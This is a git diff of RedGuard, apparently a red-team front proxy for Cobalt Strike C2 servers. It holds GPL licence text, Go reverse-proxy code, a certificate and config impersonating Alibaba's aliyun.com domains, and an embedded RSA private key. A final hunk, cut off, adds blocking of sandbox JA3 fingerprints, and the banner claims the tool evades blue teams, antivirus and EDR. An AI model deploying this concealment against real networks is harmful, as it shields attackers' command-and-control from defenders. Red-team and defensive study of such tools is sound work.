to attach them to the start of each source file to most effectively
|
||||
convey the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
RedGuard
|
||||
Copyright (C) {2022} {风起}
|
||||
|
||||
This program is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with this program; if not, write to the Free Software Foundation, Inc.,
|
||||
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program is interactive, make it output a short notice like this
|
||||
when it starts in an interactive mode:
|
||||
|
||||
Gnomovision version 69, Copyright (C) year name of author
|
||||
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, the commands you use may
|
||||
be called something other than `show w' and `show c'; they could even be
|
||||
mouse-clicks or menu items--whatever suits your program.
|
||||
|
||||
You should also get your employer (if you work as a programmer) or your
|
||||
school, if any, to sign a "copyright disclaimer" for the program, if
|
||||
necessary. Here is a sample; alter the names:
|
||||
|
||||
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
|
||||
`Gnomovision' (which makes passes at compilers) written by James Hacker.
|
||||
|
||||
{signature of Ty Coon}, 1 April 1989
|
||||
Ty Coon, President of Vice
|
||||
|
||||
This General Public License does not permit incorporating your program into
|
||||
proprietary programs. If your program is a subroutine library, you may
|
||||
consider it more useful to permit linking proprietary applications with the
|
||||
library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License.
|
||||
@@ -41,7 +41,7 @@ You can directly download and use the compiled version, or you can download the
|
||||
git clone https://github.com/wikiZ/RedGuard.git
|
||||
cd RedGuard
|
||||
# You can also use upx to compress the compiled file size
|
||||
go build -ldflags "-s -w"
|
||||
go build -ldflags "-s -w" -trimpath
|
||||
# Give the tool executable permission and perform initialization operations
|
||||
chmod +x ./RedGuard&&./RedGuard
|
||||
|
||||
|
||||
+106
-106
@@ -1,106 +1,106 @@
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: RedGuard.go
|
||||
* @Time: 2022/5/4 10:44
|
||||
**/
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"RedGuard/config"
|
||||
"RedGuard/core"
|
||||
"RedGuard/core/parameter"
|
||||
"RedGuard/lib"
|
||||
)
|
||||
|
||||
var logger = lib.Logger() // logger output model
|
||||
|
||||
type C2 struct {
|
||||
Type string //Server interface{}
|
||||
}
|
||||
|
||||
type c2Action interface {
|
||||
serverInit()
|
||||
}
|
||||
|
||||
type cobaltStrike struct {
|
||||
action string
|
||||
}
|
||||
|
||||
// ServerInit CobaltStrike module core method entry
|
||||
func (cs *cobaltStrike) serverInit() {
|
||||
cs.action = "CobaltStrike"
|
||||
var (
|
||||
proxy parameter.ProxyConf // Proxy configuration structure
|
||||
cfg = lib.InitConfig() // config file object
|
||||
num int // counting variable
|
||||
)
|
||||
// HTTPS Reverse proxy SSL certificate is created
|
||||
lib.InitGenerateSelfSignedCert()
|
||||
for key, value := range map[string]string{
|
||||
"HTTPS": "/",
|
||||
"HTTP": "/http",
|
||||
} {
|
||||
proxy.Action = key // Gets the reverse proxy listening port type
|
||||
proxy.Pattern = value // Gets the pattern associated with the listening type
|
||||
proxy.Port = lib.ReadConfig("proxy", fmt.Sprintf("Port_%s", key), cfg)
|
||||
// When num is greater than 0, the main program is called out of the loop
|
||||
if num > 0 {
|
||||
break
|
||||
}
|
||||
num += 1
|
||||
logger.Noticef("HostTarget: %s", lib.ReadConfig("proxy", "HostTarget", cfg))
|
||||
// HTTP reverse proxy
|
||||
go core.ProxyManger(proxy.Action, proxy.Port, proxy.Pattern)
|
||||
}
|
||||
// HTTPS reverse proxy
|
||||
core.ProxyManger(proxy.Action, proxy.Port, proxy.Pattern)
|
||||
// TODO CobaltStrike Core flow control method
|
||||
}
|
||||
|
||||
func (c2 C2) configInit(args *parameter.Parses) {
|
||||
c2.Type = args.C2Type
|
||||
// Check C2 Server type
|
||||
switch strings.ToLower(c2.Type) {
|
||||
case "cobaltstrike":
|
||||
// CobaltStrike Server initialize method
|
||||
(&cobaltStrike{}).serverInit()
|
||||
}
|
||||
// TODO:Development Pending for other C2 frameworks
|
||||
}
|
||||
|
||||
func main() {
|
||||
fmt.Println(fmt.Sprintf(config.BANNER, config.VERSION, config.URL)) // output banner information.
|
||||
// Create the tool argument
|
||||
var (
|
||||
parse parameter.Parses // Basic parameter structure
|
||||
cert parameter.Cert // Certificate configuration parameter structure
|
||||
_proxy parameter.Proxy // Proxy configuration parameter structure
|
||||
)
|
||||
core.CmdParse(&parse, &cert, &_proxy)
|
||||
// Check whether RedGuard has been initialized
|
||||
if num, isExits := lib.CreateConfig(parse.C2Type /* C2 Facility Type */, parse.ConfigPath); isExits {
|
||||
switch {
|
||||
case parse.Update:
|
||||
lib.UpdateConfig(&cert, &_proxy) // Update RedGuard Config
|
||||
logger.Notice("RedGuard Configuration file updated successfully!")
|
||||
case parse.IP != "":
|
||||
if lib.CheckIP(parse.IP) == false {
|
||||
logger.Warning("Please enter a valid IP address")
|
||||
os.Exit(0)
|
||||
}
|
||||
logger.Noticef("Search ipLookUpHelper: %s", parse.IP)
|
||||
core.IPLookUp(parse.Location /* owning place to be verified */, parse.IP) // Query the location of an IP address
|
||||
case num == 0:
|
||||
// Select different C2 Server modes based on user parameters,default CobaltStrike.
|
||||
(C2{}).configInit(&parse)
|
||||
case num == 1: // Initialization is run for the first time
|
||||
os.Exit(0)
|
||||
}
|
||||
}
|
||||
}
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: RedGuard.go
|
||||
* @Time: 2022/5/4 10:44
|
||||
**/
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"RedGuard/config"
|
||||
"RedGuard/core"
|
||||
"RedGuard/core/parameter"
|
||||
"RedGuard/lib"
|
||||
)
|
||||
|
||||
var logger = lib.Logger() // logger output model
|
||||
|
||||
type C2 struct {
|
||||
Type string //Server interface{}
|
||||
}
|
||||
|
||||
type c2Action interface {
|
||||
serverInit()
|
||||
}
|
||||
|
||||
type cobaltStrike struct {
|
||||
action string
|
||||
}
|
||||
|
||||
// ServerInit CobaltStrike module core method entry
|
||||
func (cs *cobaltStrike) serverInit() {
|
||||
cs.action = "CobaltStrike"
|
||||
var (
|
||||
proxy parameter.ProxyConf // Proxy configuration structure
|
||||
cfg = lib.InitConfig() // config file object
|
||||
num int // counting variable
|
||||
)
|
||||
// HTTPS Reverse proxy SSL certificate is created
|
||||
lib.InitGenerateSelfSignedCert()
|
||||
for key, value := range map[string]string{
|
||||
"HTTPS": "/",
|
||||
"HTTP": "/http",
|
||||
} {
|
||||
proxy.Action = key // Gets the reverse proxy listening port type
|
||||
proxy.Pattern = value // Gets the pattern associated with the listening type
|
||||
proxy.Port = lib.ReadConfig("proxy", fmt.Sprintf("Port_%s", key), cfg)
|
||||
// When num is greater than 0, the main program is called out of the loop
|
||||
if num > 0 {
|
||||
break
|
||||
}
|
||||
num += 1
|
||||
logger.Noticef("HostTarget: %s", lib.ReadConfig("proxy", "HostTarget", cfg))
|
||||
// HTTP reverse proxy
|
||||
go core.ProxyManger(proxy.Action, proxy.Port, proxy.Pattern)
|
||||
}
|
||||
// HTTPS reverse proxy
|
||||
core.ProxyManger(proxy.Action, proxy.Port, proxy.Pattern)
|
||||
// TODO CobaltStrike Core flow control method
|
||||
}
|
||||
|
||||
func (c2 C2) configInit(args *parameter.Parses) {
|
||||
c2.Type = args.C2Type
|
||||
// Check C2 Server type
|
||||
switch strings.ToLower(c2.Type) {
|
||||
case "cobaltstrike":
|
||||
// CobaltStrike Server initialize method
|
||||
(&cobaltStrike{}).serverInit()
|
||||
}
|
||||
// TODO:Development Pending for other C2 frameworks
|
||||
}
|
||||
|
||||
func main() {
|
||||
fmt.Println(fmt.Sprintf(config.BANNER, config.VERSION, config.URL)) // output banner information.
|
||||
// Create the tool argument
|
||||
var (
|
||||
parse parameter.Parses // Basic parameter structure
|
||||
cert parameter.Cert // Certificate configuration parameter structure
|
||||
_proxy parameter.Proxy // Proxy configuration parameter structure
|
||||
)
|
||||
core.CmdParse(&parse, &cert, &_proxy)
|
||||
// Check whether RedGuard has been initialized
|
||||
if num, isExits := lib.CreateConfig(parse.C2Type /* C2 Facility Type */, parse.ConfigPath); isExits {
|
||||
switch {
|
||||
case parse.Update:
|
||||
lib.UpdateConfig(&cert, &_proxy) // Update RedGuard Config
|
||||
logger.Notice("RedGuard Configuration file updated successfully!")
|
||||
case parse.IP != "":
|
||||
if lib.CheckIP(parse.IP) == false {
|
||||
logger.Warning("Please enter a valid IP address")
|
||||
os.Exit(0)
|
||||
}
|
||||
logger.Noticef("Search ipLookUpHelper: %s", parse.IP)
|
||||
core.IPLookUp(parse.Location /* owning place to be verified */, parse.IP) // Query the location of an IP address
|
||||
case num == 0:
|
||||
// Select different C2 Server modes based on user parameters,default CobaltStrike.
|
||||
(C2{}).configInit(&parse)
|
||||
case num == 1: // Initialization is run for the first time
|
||||
os.Exit(0)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+540
-540
File diff suppressed because it is too large
Load Diff
+24
-24
@@ -1,24 +1,24 @@
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIEFDCCAvygAwIBAgIIFwGR46UNXCwwDQYJKoZIhvcNAQELBQAwZjELMAkGA1UE
|
||||
BhMCQ04xETAPBgNVBAcTCEhhbmdaaG91MS0wKwYDVQQKEyRBbGliYWJhIChDaGlu
|
||||
YSkgVGVjaG5vbG9neSBDby4sIEx0ZC4xFTATBgNVBAMMDCouYWxpeXVuLmNvbTAe
|
||||
Fw0yMjA3MTQwMjQyMjRaFw0yMzA3MTQwMjQyMjRaMGYxCzAJBgNVBAYTAkNOMREw
|
||||
DwYDVQQHEwhIYW5nWmhvdTEtMCsGA1UEChMkQWxpYmFiYSAoQ2hpbmEpIFRlY2hu
|
||||
b2xvZ3kgQ28uLCBMdGQuMRUwEwYDVQQDDAwqLmFsaXl1bi5jb20wggEiMA0GCSqG
|
||||
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQCakMhuxLECM6FM6J2tQisFnBdwgTDCNzA0
|
||||
WJQ6sOe0rIiMkQ5mhiSrDwUJ3ZFDtxeSxcWRmfcz4SiNMYwS1vGuIBLwNV2qRELk
|
||||
aFzM29xjMo0isbPvBM70kl29RUP1FT5SUI9ZjwKaVLIc7j0Ugei0+p0QvGtFvgfI
|
||||
pFpWbav3UqFwUtTcJwCiDTZZM4+94TVqEvFh5f/CM60rFijFZ/Kf16cVtOW0fKcX
|
||||
oAGA9hEPAYXbSBqBSWAykDBJ3RnbZvL6MD9hsSRgduiiC9t2q/xGRU5X+rKchliW
|
||||
bjLy+xHoq1asOZK0NxigLIc/6U54IV7nfL/tT40w1GFP/WhgY+0fAgMBAAGjgcUw
|
||||
gcIwDgYDVR0PAQH/BAQDAgKkMBMGA1UdJQQMMAoGCCsGAQUFBwMBMIGaBgNVHREE
|
||||
gZIwgY+CDCouYWxpeXVuLmNvbYIabWFuYWdlci5jaGFubmVsLmFsaXl1bi5jb22C
|
||||
GyouYWNzLWludGVybmFsLmFsaXl1bmNzLmNvbYIUKi5jb25uZWN0LmFsaXl1bi5j
|
||||
b22CCmFsaXl1bi5jb22CEHdob2lzLnd3dy5uZXQuY26CEnRpYW5jaGktZ2xvYmFs
|
||||
LmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAHPsbex1ZR9p/5p/EdJrvlM3IhMIXUo2D
|
||||
tm/NWbEB4IVBa+mX0YGs60DiH8R+4VFWKvVhIzcf2/iZuiDKO8jeeZ3mSyDqdPD+
|
||||
T40gcNQhvPAH6YMPg8LzYAXVAZcxYCw0PmHr/Sl7EJH8LlR84Nz26HjPqNdLmIZA
|
||||
ui0jz4zSGtrcqFZzA2+DKiHsnKeQ4685FBUHJP51gyimYiPpQQW3uKPE1uC+8Aq/
|
||||
omArVJf9wnBLUWa1vZ4B12G4NVQXHcLvg13tOR0YHnRBJ5OR8ibYBy5VChbqktc4
|
||||
9hgOKhm4RO/6XIg6Dey/mBefannq2DgTj2lv9NNXiFppj81ugWhOmQ==
|
||||
-----END CERTIFICATE-----
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIEFDCCAvygAwIBAgIIFwGR46UNXCwwDQYJKoZIhvcNAQELBQAwZjELMAkGA1UE
|
||||
BhMCQ04xETAPBgNVBAcTCEhhbmdaaG91MS0wKwYDVQQKEyRBbGliYWJhIChDaGlu
|
||||
YSkgVGVjaG5vbG9neSBDby4sIEx0ZC4xFTATBgNVBAMMDCouYWxpeXVuLmNvbTAe
|
||||
Fw0yMjA3MTQwMjQyMjRaFw0yMzA3MTQwMjQyMjRaMGYxCzAJBgNVBAYTAkNOMREw
|
||||
DwYDVQQHEwhIYW5nWmhvdTEtMCsGA1UEChMkQWxpYmFiYSAoQ2hpbmEpIFRlY2hu
|
||||
b2xvZ3kgQ28uLCBMdGQuMRUwEwYDVQQDDAwqLmFsaXl1bi5jb20wggEiMA0GCSqG
|
||||
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQCakMhuxLECM6FM6J2tQisFnBdwgTDCNzA0
|
||||
WJQ6sOe0rIiMkQ5mhiSrDwUJ3ZFDtxeSxcWRmfcz4SiNMYwS1vGuIBLwNV2qRELk
|
||||
aFzM29xjMo0isbPvBM70kl29RUP1FT5SUI9ZjwKaVLIc7j0Ugei0+p0QvGtFvgfI
|
||||
pFpWbav3UqFwUtTcJwCiDTZZM4+94TVqEvFh5f/CM60rFijFZ/Kf16cVtOW0fKcX
|
||||
oAGA9hEPAYXbSBqBSWAykDBJ3RnbZvL6MD9hsSRgduiiC9t2q/xGRU5X+rKchliW
|
||||
bjLy+xHoq1asOZK0NxigLIc/6U54IV7nfL/tT40w1GFP/WhgY+0fAgMBAAGjgcUw
|
||||
gcIwDgYDVR0PAQH/BAQDAgKkMBMGA1UdJQQMMAoGCCsGAQUFBwMBMIGaBgNVHREE
|
||||
gZIwgY+CDCouYWxpeXVuLmNvbYIabWFuYWdlci5jaGFubmVsLmFsaXl1bi5jb22C
|
||||
GyouYWNzLWludGVybmFsLmFsaXl1bmNzLmNvbYIUKi5jb25uZWN0LmFsaXl1bi5j
|
||||
b22CCmFsaXl1bi5jb22CEHdob2lzLnd3dy5uZXQuY26CEnRpYW5jaGktZ2xvYmFs
|
||||
LmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAHPsbex1ZR9p/5p/EdJrvlM3IhMIXUo2D
|
||||
tm/NWbEB4IVBa+mX0YGs60DiH8R+4VFWKvVhIzcf2/iZuiDKO8jeeZ3mSyDqdPD+
|
||||
T40gcNQhvPAH6YMPg8LzYAXVAZcxYCw0PmHr/Sl7EJH8LlR84Nz26HjPqNdLmIZA
|
||||
ui0jz4zSGtrcqFZzA2+DKiHsnKeQ4685FBUHJP51gyimYiPpQQW3uKPE1uC+8Aq/
|
||||
omArVJf9wnBLUWa1vZ4B12G4NVQXHcLvg13tOR0YHnRBJ5OR8ibYBy5VChbqktc4
|
||||
9hgOKhm4RO/6XIg6Dey/mBefannq2DgTj2lv9NNXiFppj81ugWhOmQ==
|
||||
-----END CERTIFICATE-----
|
||||
|
||||
+27
-27
@@ -1,27 +1,27 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEowIBAAKCAQEAmpDIbsSxAjOhTOidrUIrBZwXcIEwwjcwNFiUOrDntKyIjJEO
|
||||
ZoYkqw8FCd2RQ7cXksXFkZn3M+EojTGMEtbxriAS8DVdqkRC5GhczNvcYzKNIrGz
|
||||
7wTO9JJdvUVD9RU+UlCPWY8CmlSyHO49FIHotPqdELxrRb4HyKRaVm2r91KhcFLU
|
||||
3CcAog02WTOPveE1ahLxYeX/wjOtKxYoxWfyn9enFbTltHynF6ABgPYRDwGF20ga
|
||||
gUlgMpAwSd0Z22by+jA/YbEkYHboogvbdqv8RkVOV/qynIZYlm4y8vsR6KtWrDmS
|
||||
tDcYoCyHP+lOeCFe53y/7U+NMNRhT/1oYGPtHwIDAQABAoIBABoQLewXuK1hXWKl
|
||||
muj7TlvczUsITduCCNvaz+vxprCdo0zorN/24LoDh1r5hKRBfHUgakc6CigyYG8m
|
||||
mrMWkZxGBkuBBDFQ32K6gmN883W6sXfXNTspuWgeQjZHNsVd9qtUsEduyQaTH5Gn
|
||||
Tp9lpILX+6I103ToLVHU/PKz/ZpvjnRdfL1pFvTAzGYRAddI+3Wp4phfzcqqXtpl
|
||||
WcZ4Uux+/GzFtSH9eXaevCC4p+jcrQY1mt3BPdcz5JU43uQ+diTfTwGvL+4dCUxO
|
||||
sboAjMkw2xMXNG2SQRMTPlhLfcKh8NK3pYyVRfzOXk6bnLeBsRaLV6uXoR5njk+M
|
||||
Kr0zzDECgYEAy9/5XwI4LiY1XcXJrJmvilqtHUH1cGG1x8Ob+gpGiJ8Ryk+6i7pi
|
||||
8KP+scDUOGFfFwRycNwIoGP0J1WB4pRkTDqE8FQyh4TeOsK57NGp8wLt6COOnmps
|
||||
/8QRH+YqPG5n0yI3aQNOqkPuKoFYCiGF79VuhCuOGLaplXlmyQl/TTcCgYEAwhVp
|
||||
lLuo5phLvRTr6pgGVPCOhirdTktuRUp4NaNuGveUDww2TjdKBmqLcwVPEtuI3G/f
|
||||
k2AUKlWH0Q3N8340hG7hloSVQRHfoALy0Iljc4dFO0HrzOvSoaVYkhODqz6M6gfJ
|
||||
B+8Qiku93JI7G4qalg1jr3ItBK46KVTCQl5RE1kCgYBYEiYww82vKfRN0P6BIFbz
|
||||
pp44EGFNrfgQFtFPn5a+uDDAO9bzO444NC/3a7yBqpagY9xoIrVbTDKRt1+HmOEH
|
||||
CRSamVTGtEAoFCyrQBtxjidl685VYtY5WuKm7A/80Rjq3VIgfDxEU1oUZJG6tqac
|
||||
Z4/5arNUu7vghXRAjmi+2wKBgGUb/psLgJxRLvPcWGMou/O4NqfS4OQPC+1xNFrN
|
||||
P2kxHaMRO6FX0GqzSt6rH1y1ngEpDxKZ9Sdw04anaGm3j+iGU2O0woTZqOSVZKYb
|
||||
TQI8sGaEmzFwkZTArPm8zNWDiqnJUIOfmcBSYSDt1XktpgcSBqK6GpXbplUt4N3u
|
||||
gNJRAoGBAIo2SQXHObtfphpMVoDZm3A2DubekPuY5aHx0x5U24IDcF/19AJ3SvOh
|
||||
U7NHpHgGDal5WhLN9dIRBxujP/BL1TAKPpf6P5x4o1Jva0tUWcLvTzAM6NgFMY+0
|
||||
p4z+rF2IIkG383nWDpSL3r+0mpUEaPY5iCO8fyUQQtIr6gt+o8PW
|
||||
-----END RSA PRIVATE KEY-----
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEowIBAAKCAQEAmpDIbsSxAjOhTOidrUIrBZwXcIEwwjcwNFiUOrDntKyIjJEO
|
||||
ZoYkqw8FCd2RQ7cXksXFkZn3M+EojTGMEtbxriAS8DVdqkRC5GhczNvcYzKNIrGz
|
||||
7wTO9JJdvUVD9RU+UlCPWY8CmlSyHO49FIHotPqdELxrRb4HyKRaVm2r91KhcFLU
|
||||
3CcAog02WTOPveE1ahLxYeX/wjOtKxYoxWfyn9enFbTltHynF6ABgPYRDwGF20ga
|
||||
gUlgMpAwSd0Z22by+jA/YbEkYHboogvbdqv8RkVOV/qynIZYlm4y8vsR6KtWrDmS
|
||||
tDcYoCyHP+lOeCFe53y/7U+NMNRhT/1oYGPtHwIDAQABAoIBABoQLewXuK1hXWKl
|
||||
muj7TlvczUsITduCCNvaz+vxprCdo0zorN/24LoDh1r5hKRBfHUgakc6CigyYG8m
|
||||
mrMWkZxGBkuBBDFQ32K6gmN883W6sXfXNTspuWgeQjZHNsVd9qtUsEduyQaTH5Gn
|
||||
Tp9lpILX+6I103ToLVHU/PKz/ZpvjnRdfL1pFvTAzGYRAddI+3Wp4phfzcqqXtpl
|
||||
WcZ4Uux+/GzFtSH9eXaevCC4p+jcrQY1mt3BPdcz5JU43uQ+diTfTwGvL+4dCUxO
|
||||
sboAjMkw2xMXNG2SQRMTPlhLfcKh8NK3pYyVRfzOXk6bnLeBsRaLV6uXoR5njk+M
|
||||
Kr0zzDECgYEAy9/5XwI4LiY1XcXJrJmvilqtHUH1cGG1x8Ob+gpGiJ8Ryk+6i7pi
|
||||
8KP+scDUOGFfFwRycNwIoGP0J1WB4pRkTDqE8FQyh4TeOsK57NGp8wLt6COOnmps
|
||||
/8QRH+YqPG5n0yI3aQNOqkPuKoFYCiGF79VuhCuOGLaplXlmyQl/TTcCgYEAwhVp
|
||||
lLuo5phLvRTr6pgGVPCOhirdTktuRUp4NaNuGveUDww2TjdKBmqLcwVPEtuI3G/f
|
||||
k2AUKlWH0Q3N8340hG7hloSVQRHfoALy0Iljc4dFO0HrzOvSoaVYkhODqz6M6gfJ
|
||||
B+8Qiku93JI7G4qalg1jr3ItBK46KVTCQl5RE1kCgYBYEiYww82vKfRN0P6BIFbz
|
||||
pp44EGFNrfgQFtFPn5a+uDDAO9bzO444NC/3a7yBqpagY9xoIrVbTDKRt1+HmOEH
|
||||
CRSamVTGtEAoFCyrQBtxjidl685VYtY5WuKm7A/80Rjq3VIgfDxEU1oUZJG6tqac
|
||||
Z4/5arNUu7vghXRAjmi+2wKBgGUb/psLgJxRLvPcWGMou/O4NqfS4OQPC+1xNFrN
|
||||
P2kxHaMRO6FX0GqzSt6rH1y1ngEpDxKZ9Sdw04anaGm3j+iGU2O0woTZqOSVZKYb
|
||||
TQI8sGaEmzFwkZTArPm8zNWDiqnJUIOfmcBSYSDt1XktpgcSBqK6GpXbplUt4N3u
|
||||
gNJRAoGBAIo2SQXHObtfphpMVoDZm3A2DubekPuY5aHx0x5U24IDcF/19AJ3SvOh
|
||||
U7NHpHgGDal5WhLN9dIRBxujP/BL1TAKPpf6P5x4o1Jva0tUWcLvTzAM6NgFMY+0
|
||||
p4z+rF2IIkG383nWDpSL3r+0mpUEaPY5iCO8fyUQQtIr6gt+o8PW
|
||||
-----END RSA PRIVATE KEY-----
|
||||
|
||||
@@ -1,37 +1,37 @@
|
||||
package config
|
||||
|
||||
var RedGuardConfig = `[cert]
|
||||
# User Optional name
|
||||
DNSName = *.aliyun.com,manager.channel.aliyun.com,*.acs-internal.aliyuncs.com,*.connect.aliyun.com,aliyun.com,whois.www.net.cn,tianchi-global.com
|
||||
# Cert User CommonName
|
||||
CommonName = *.aliyun.com
|
||||
# Cert User Locality
|
||||
Locality = HangZhou
|
||||
# Cert User Organization
|
||||
Organization = Alibaba (China) Technology Co., Ltd.
|
||||
# Cert User Country
|
||||
Country = CN
|
||||
# Whether to use the certificate you have applied for true/false
|
||||
HasCert = true
|
||||
|
||||
[proxy]
|
||||
# key : Header Host value of the reverse proxy
|
||||
# value : The actual address forwarded by the reverse proxy
|
||||
HostTarget = {"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
|
||||
# HTTPS Reverse proxy port
|
||||
Port_HTTPS = :443
|
||||
# HTTP Reverse proxy port
|
||||
Port_HTTP = :80
|
||||
# RedGuard interception action: redirect / reset / proxy (Hijack HTTP Response)
|
||||
drop_action = proxy
|
||||
# URL to redirect to
|
||||
Redirect = https://360.net
|
||||
# IP address owning restrictions example:AllowLocation = 山东,上海,杭州 or shanghai,beijing
|
||||
AllowLocation = *
|
||||
# Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1
|
||||
AllowIP = *
|
||||
# Limit the time of requests example: AllowTime = 8:00 - 16:00
|
||||
AllowTime = *
|
||||
# C2 Malleable File Path
|
||||
MalleableFile = *
|
||||
`
|
||||
package config
|
||||
|
||||
var RedGuardConfig = `[cert]
|
||||
# User Optional name
|
||||
DNSName = *.aliyun.com,manager.channel.aliyun.com,*.acs-internal.aliyuncs.com,*.connect.aliyun.com,aliyun.com,whois.www.net.cn,tianchi-global.com
|
||||
# Cert User CommonName
|
||||
CommonName = *.aliyun.com
|
||||
# Cert User Locality
|
||||
Locality = HangZhou
|
||||
# Cert User Organization
|
||||
Organization = Alibaba (China) Technology Co., Ltd.
|
||||
# Cert User Country
|
||||
Country = CN
|
||||
# Whether to use the certificate you have applied for true/false
|
||||
HasCert = true
|
||||
|
||||
[proxy]
|
||||
# key : Header Host value of the reverse proxy
|
||||
# value : The actual address forwarded by the reverse proxy
|
||||
HostTarget = {"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
|
||||
# HTTPS Reverse proxy port
|
||||
Port_HTTPS = :443
|
||||
# HTTP Reverse proxy port
|
||||
Port_HTTP = :80
|
||||
# RedGuard interception action: redirect / reset / proxy (Hijack HTTP Response)
|
||||
drop_action = proxy
|
||||
# URL to redirect to
|
||||
Redirect = https://360.net
|
||||
# IP address owning restrictions example:AllowLocation = 山东,上海,杭州 or shanghai,beijing
|
||||
AllowLocation = *
|
||||
# Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1
|
||||
AllowIP = *
|
||||
# Limit the time of requests example: AllowTime = 8:00 - 16:00
|
||||
AllowTime = *
|
||||
# C2 Malleable File Path
|
||||
MalleableFile = *
|
||||
`
|
||||
|
||||
+31
-31
@@ -1,31 +1,31 @@
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: version.go
|
||||
* @Time: 2022/5/5 9:25
|
||||
**/
|
||||
|
||||
package config
|
||||
|
||||
const (
|
||||
BANNER = `
|
||||
|
||||
██████╗ ███████╗██████╗ ██████╗ ██╗ ██╗ █████╗ ██████╗ ██████╗
|
||||
██╔══██╗██╔════╝██╔══██╗ ██╔════╝ ██║ ██║██╔══██╗██╔══██╗██╔══██╗
|
||||
██████╔╝█████╗ ██║ ██║ ██║ ███╗██║ ██║███████║██████╔╝██║ ██║
|
||||
██╔══██╗██╔══╝ ██║ ██║ ██║ ██║██║ ██║██╔══██║██╔══██╗██║ ██║
|
||||
██║ ██║███████╗██████╔╝ ╚██████╔╝╚██████╔╝██║ ██║██║ ██║██████╔╝ -V %s
|
||||
╚═╝ ╚═╝╚══════╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝
|
||||
|
||||
Github:%s
|
||||
|
||||
RedGuard is a C2 front flow control tool,Can avoid Blue Teams,AVs,EDRs check.
|
||||
`
|
||||
VERSION = "22.7.21 Alpha"
|
||||
TITLE = "RedGuard"
|
||||
LICENSE = "GPL-2.0"
|
||||
URL = "https://github.com/wikiZ/RedGuard"
|
||||
AUTHOR = "风起"
|
||||
TEAM = "0/00"
|
||||
COPYRIGHT = "Copyright (C) 2022 风起. All Rights Reserved"
|
||||
)
|
||||
/**
|
||||
* @Author 风起
|
||||
* @contact: onlyzaliks@gmail.com
|
||||
* @File: version.go
|
||||
* @Time: 2022/5/5 9:25
|
||||
**/
|
||||
|
||||
package config
|
||||
|
||||
const (
|
||||
BANNER = `
|
||||
|
||||
██████╗ ███████╗██████╗ ██████╗ ██╗ ██╗ █████╗ ██████╗ ██████╗
|
||||
██╔══██╗██╔════╝██╔══██╗ ██╔════╝ ██║ ██║██╔══██╗██╔══██╗██╔══██╗
|
||||
██████╔╝█████╗ ██║ ██║ ██║ ███╗██║ ██║███████║██████╔╝██║ ██║
|
||||
██╔══██╗██╔══╝ ██║ ██║ ██║ ██║██║ ██║██╔══██║██╔══██╗██║ ██║
|
||||
██║ ██║███████╗██████╔╝ ╚██████╔╝╚██████╔╝██║ ██║██║ ██║██████╔╝ -V %s
|
||||
╚═╝ ╚═╝╚══════╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝
|
||||
|
||||
Github:%s
|
||||
|
||||
RedGuard is a C2 front flow control tool,Can avoid Blue Teams,AVs,EDRs check.
|
||||
`
|
||||
VERSION = "22.7.21 Alpha"
|
||||
TITLE = "RedGuard"
|
||||
LICENSE = "GPL-2.0"
|
||||
URL = "https://github.com/wikiZ/RedGuard"
|
||||
AUTHOR = "风起"
|
||||
TEAM = "0/00"
|
||||
COPYRIGHT = "Copyright (C) 2022 风起. All Rights Reserved"
|
||||
)
|
||||
|
||||
@@ -119,6 +119,7 @@ func ProxyFilterManger(req *http.Request) (status bool) {
|
||||
allowIP = lib.ReadConfig("proxy", "AllowIP", cfg) // Obtain the online IP address whitelist
|
||||
allowTime = lib.ReadConfig("proxy", "AllowTime", cfg) // Gets the allowed online time in the configuration file
|
||||
malleableFile = lib.ReadConfig("proxy", "MalleableFile", cfg) // Obtain the profile path
|
||||
banJA3 = data.BANJA3
|
||||
banIP = data.BANIP
|
||||
)
|
||||
// Check whether ban ip is matched
|
||||
@@ -132,6 +133,13 @@ func ProxyFilterManger(req *http.Request) (status bool) {
|
||||
}
|
||||
}
|
||||
}
|
||||
// Check whether the REQUESTED IP JA3 fingerprint is a cloud sandbox fingerprint
|
||||
for _, banja3 := range strings.Split(banJA3, "\n") {
|
||||
